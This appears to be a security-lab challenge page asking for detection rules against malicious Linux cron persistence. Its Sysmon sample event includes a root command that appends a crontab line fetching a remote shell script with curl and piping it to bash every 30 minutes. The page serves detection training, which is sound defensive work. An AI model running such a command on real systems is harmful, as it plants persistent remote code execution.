Linux Cron Operations
Description
Cron is a scheduling service in Unix/Linux systems that allows users to automatically execute commands or scripts at specified times. After gaining initial access, attackers may create or modify cron configurations to maintain access persistence even after system reboots. Malicious cron tasks can be used to execute reverse shell connections, steal data, maintain privileges, or conduct further system attacks. Promptly identifying suspicious cron configurations is critical to interrupting the attack chain.
Challenge Objective
Build detection rules to identify suspicious cron scheduled task setup behaviors in the system. Focus on operations using the crontab command or direct editing of cron-related configuration files (such as /etc/crontab, /etc/cron.d/*, user crontab files, etc.).
Data Sample
Data source: Sysmon, sample data:
{ "Name": "ParentUser", "Guid": "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}", "EventID": "1", "Version": "5", "Level": "4", "Task": "1", "Opcode": "0", "Keywords": "0x8000000000000000", "SystemTime": "2025-03-20T02:00:23.532756000Z", "EventRecordID": "787", "ProcessID": "7251", "ThreadID": "7251", "Channel": "Linux-Sysmon/Operational", "Computer": "ubuntulog", "UserId": "0", "RuleName": "-", "UtcTime": "2025-03-20 02:00:23.536", "ProcessGuid": "{15b7b743-76b7-67db-2d43-37f135570000}", "ProcessId": "7663", "Image": "/usr/bin/bash", "FileVersion": "-", "Description": "-", "Product": "-", "Company": "-", "OriginalFileName": "-", "CommandLine": "bash -c echo \"*/30 * * * * curl -s http://soc-labs.top/shell.sh | bash\" >> /etc/crontab", "CurrentDirectory": "/home", "User": "root", "LogonGuid": "{15b7b743-76b7-67db-0000-000006000000}", "LogonId": "0", "TerminalSessionId": "8", "IntegrityLevel": "no level", "Hashes": "SHA256=bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1", "ParentProcessGuid": "{00000000-0000-0000-0000-000000000000}", "ParentProcessId": "7662", "ParentImage": "-", "ParentCommandLine": "-", "ParentUser": "-" }References
Fields
No fields found